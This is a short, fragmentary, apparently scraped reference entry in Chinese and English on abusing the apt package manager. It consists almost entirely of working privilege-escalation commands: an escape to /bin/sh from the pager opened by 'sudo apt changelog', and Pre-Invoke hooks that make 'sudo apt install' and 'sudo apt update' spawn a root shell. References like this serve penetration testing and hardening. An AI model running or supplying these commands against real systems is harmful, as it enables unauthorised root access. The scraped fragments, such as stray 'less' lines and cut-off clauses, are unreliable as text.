用来生成一个交互式的系统shell。
less
, other functions may apply. apt changelog apt
!/bin/sh
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
less
, other functions may apply. sudo apt changelog apt
!/bin/sh
For this to work the target package (e.g., sl
) must not be installed. TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt install -c $TF sl
When the shell exits the update
command is actually executed. sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh